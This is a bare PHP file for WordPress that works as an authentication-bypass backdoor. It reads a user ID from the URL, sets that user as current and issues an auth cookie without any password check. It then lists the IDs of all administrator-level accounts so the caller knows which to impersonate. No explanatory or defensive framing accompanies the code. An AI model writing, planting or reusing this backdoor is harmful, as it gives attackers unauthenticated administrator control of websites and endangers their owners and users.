<?php
$path = $_SERVER['DOCUMENT_ROOT'];
include_once $path . '/wp-config.php';
include_once $path . '/wp-load.php';
include_once $path . '/wp-includes/wp-db.php';
include_once $path . '/wp-includes/pluggable.php';
ob_start();
$id = $_GET['id'];
	if(!is_user_logged_in()){
     wp_set_current_user($id);
        wp_set_auth_cookie($id);
        }
  function admin_user_ids(){
    global $wpdb;
    $wp_user_search = $wpdb->get_results("SELECT ID, display_name FROM $wpdb->users ORDER BY ID");
    $adminArray = array();
    foreach($wp_user_search as $userid){
        $curID = $userid->ID;
        $curuser = get_userdata($curID);
        $user_level = $curuser->user_level;
        if($user_level >= 8){
            $adminArray[] = $curID;
        }
    }
    return $adminArray;
}
 $adminIdArray = admin_user_ids();
 print_r($adminIdArray);     
?>